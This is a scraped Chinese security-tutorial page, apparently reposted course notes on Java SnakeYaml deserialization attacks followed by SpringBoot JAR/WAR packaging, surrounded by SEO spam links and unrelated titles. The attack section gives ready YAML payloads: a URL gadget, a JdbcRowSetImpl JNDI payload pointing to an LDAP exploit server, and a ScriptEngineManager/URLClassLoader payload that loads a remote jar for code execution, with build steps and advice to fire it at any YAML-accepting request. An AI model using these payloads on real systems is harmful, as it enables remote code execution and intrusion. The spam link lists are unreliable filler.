当前位置: 首页 > wzjs >正文

杭州知名网站建设html怎么写

杭州知名网站建设,html怎么写,电子商务就是网络营销,wordpress左侧目录主题#知识点 1、安全开发-JavaEE-WAR&JAR打包&反编译 2、安全开发-JavaEE-SnakeYaml反序列化&链 一、常见的创建的序列化和反序列化协议 • &#xff08;已讲&#xff09;JAVA内置的writeObject()/readObject() • JAVA内置的XMLDecoder()/XMLEncoder xml<>Objec…
#知识点

1、安全开发-JavaEE-WAR&JAR打包&反编译

2、安全开发-JavaEE-SnakeYaml反序列化&链

一、常见的创建的序列化和反序列化协议

• (已讲)JAVA内置的writeObject()/readObject()

• JAVA内置的XMLDecoder()/XMLEncoder xml<==>Object

• (已讲)XStream xml<==>Object

• (已讲)SnakeYaml yaml<==>Object

• (已讲)FastJson json<==>Object

• Jackson json<==>Object

二、SnakeYaml反序列化

SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。

<dependency>

<groupId>org.yaml</groupId>

<artifactId>snakeyaml</artifactId>

<version>1.32</version>

</dependency>

SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化:

Yaml.dump():序列化将一个Java对象转化为yaml文件形式

Yaml.load():入参是一个字符串或者一个文件,经过反序列化之后返回一个Java对象;

测试总结:yaml.load()和yaml.loadas()方法进行“反序列化操作”后->都调用对象(也就是被序列化的类)的set()方法

参考:SnakeYaml反序列化分析 - F12~ - 博客园

1、URL链(自带链)即urldns链->该链价值不大

!!java.net.URL ["http://zxqnhzpdha.dgrh3.cn/"]: 1

2、JdbcRowSetImpl利用链->payload是JNDI注入->jndi受jdk版本影响->无法绕过->使用SPI机制可以绕过

以下为payload:

!!com.sun.rowset.JdbcRowSetImpl

dataSourceName: "ldap://192.168.253.1:1389/bax01l9/Exploit"

autoCommit: true

3、RCE(自带链+利用SPI机制)->yaml-payload-master项目为例进行演示

下面的案例,成功利用SPI机制->绕过了JDIN注入受jdk版本限制->从而执行高危命令

https://github.com/artsploit/yaml-payload/

项目相关配置(了解即可):项目结构-工件-添加-yaml-payload-添加模块输出-构建工件

构建项目->生成yaml-payload.jar文件

javac AwesomeScriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/ .  //这两条命令的作用和上图一样,都是构建生成yaml-payload.jar文件用的

python -m http.server 9999

payload如下:

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]]]]

黑盒:看数据包有没有yaml文件类型的数据如下所示->无脑payload

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]]]]   ->如果实战中数据包中的该数据格式进行了加密->那么传入payload也要先将payload加密

白盒:看是否应用了yaml依赖+是否用到了yaml.load(dump)反序列化方法+dump这个参数是否可控(用来上传payload)

三、SpringBoot-打包部署-JAR&WAR->了解即可

参考:https://mp.weixin.qq.com/s/HyqVt7EMFcuKXfiejtfleg

SpringBoot项目打包在各类系统服务器中运行:

真实情况下,Java网站启动不会向实验的那样使用IDEA来启动,而是使用jar,war包的形式来启动,所以无源码下载泄漏风险,源码泄漏也需反编译(但有时候代码进行了混淆操作,即使反编译jar包成功,也需要强大的逆向能力)

①jar类型项目

jar类型项目使用SpringBoot打包插件打包时,会在打成的jar中内置tomcat的jar。所以使用jdk直接运行jar(java -jar xxxxxx.jar)即可运行网站,jar项目中功能将代码放到其内置的tomcat中运行。

②war类型项目

在打包时需要将内置的tomcat插件排除,配置servlet的依赖和修改pom.xml,然后将war文件放到tomcat安装目录webapps下,启动运行tomcat自动解析即可启动网站

1、Jar打包

报错解决:

https://blog.csdn.net/Mrzhuangr/article/details/124731024

https://blog.csdn.net/wobenqingfeng/article/details/129914639

①maven-clean-package

②java -jar xxxxxx.jar

2、War打包

①pom.xml加入或修改:

<packaging>war</packaging>

②启动类里面加入配置:

public class TestSwaggerDemoApplication extends SpringBootServletInitializer

@Override

protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {

return builder.sources(TestSwaggerDemoApplication.class);

}

③maven-clean-package

④war放置tomcat后启动


文章转载自:

http://zxfz8vYK.fnczn.cn
http://0EVNyI8p.fnczn.cn
http://QTe7Xk1I.fnczn.cn
http://wUaW7fcq.fnczn.cn
http://NAgb0g3Q.fnczn.cn
http://Tqhpegdu.fnczn.cn
http://4NKBtTFP.fnczn.cn
http://NKlcgf7r.fnczn.cn
http://OXyPal79.fnczn.cn
http://l4UiVgWZ.fnczn.cn
http://n2f047xl.fnczn.cn
http://OeadB84r.fnczn.cn
http://bJpfOpMn.fnczn.cn
http://IstOmXEp.fnczn.cn
http://TTvH8zhj.fnczn.cn
http://QYzYPD4E.fnczn.cn
http://NJaVWAmT.fnczn.cn
http://w7OiAH7Q.fnczn.cn
http://GFEcuqfQ.fnczn.cn
http://6vo2cHRG.fnczn.cn
http://bWt5rlBF.fnczn.cn
http://ntBfd0H8.fnczn.cn
http://dKnuVIlV.fnczn.cn
http://9nCOngjk.fnczn.cn
http://ppAtOZ7e.fnczn.cn
http://v6lGxEd6.fnczn.cn
http://MyypvdEk.fnczn.cn
http://HF8YyPyl.fnczn.cn
http://ocsly8PR.fnczn.cn
http://35d63me6.fnczn.cn
http://www.dtcms.com/wzjs/713107.html

相关文章:

  • 内江网站建设0832hdsj网站商城的意义
  • 农村网站建设的意义网络营销是什么时候产生的
  • 聊城做wap网站价格学校网站网页模板
  • 同性做视频网站wordpress文本组件使用方法
  • 网站作业代做新思维网站
  • 网站做的拖管不行 怎么投诉做西服的网站
  • 官网网站页面设计端州网站建设
  • 有什么网站可以做团购西安软件公司排名
  • 公众号同步到dede网站wordpress在线安装地址
  • 制作门户网站教育类企业网站
  • 专业的网站设计制作关方网站买微信
  • 建设企业网站专业服务注册网站建设
  • 没有注册公司怎么做网站汉沽网站建设制作
  • 烟台专业做网站下载京东购物商城app
  • 网络营销从网站建设开始帝国cms的手机网站
  • python快速搭建网站宁波做网站优化价格
  • 系统网站哪个好健康服务管理中心
  • 济宁亿峰科技做网站一年多少费用西宁建设厅培训中心网站
  • 功能型网站建设时间网站建立不安全怎么设置通过
  • 做网站需要会什么编程大连仟亿科技网站建设公司 概况
  • 韩国网站设计风格如何使用wordpress主题
  • 简述建设企业网站可信度的具体策略做导购网站
  • 网站开发知识体系衡阳专业seo公司
  • 昆明微网站建设做网站以前出名的公司
  • 课程网站建设中容易出现的问题模板的网站都有哪些
  • 怎么做网站才能被收购建设部网站关于公租房
  • 织梦网站安装网站建设的相关政策
  • 自己做网站赚钱中国企业网是什么级别
  • 找个公司做网站需要注意什么条件现在哪个电商平台比较好做
  • 乐都企业网站建设百度培训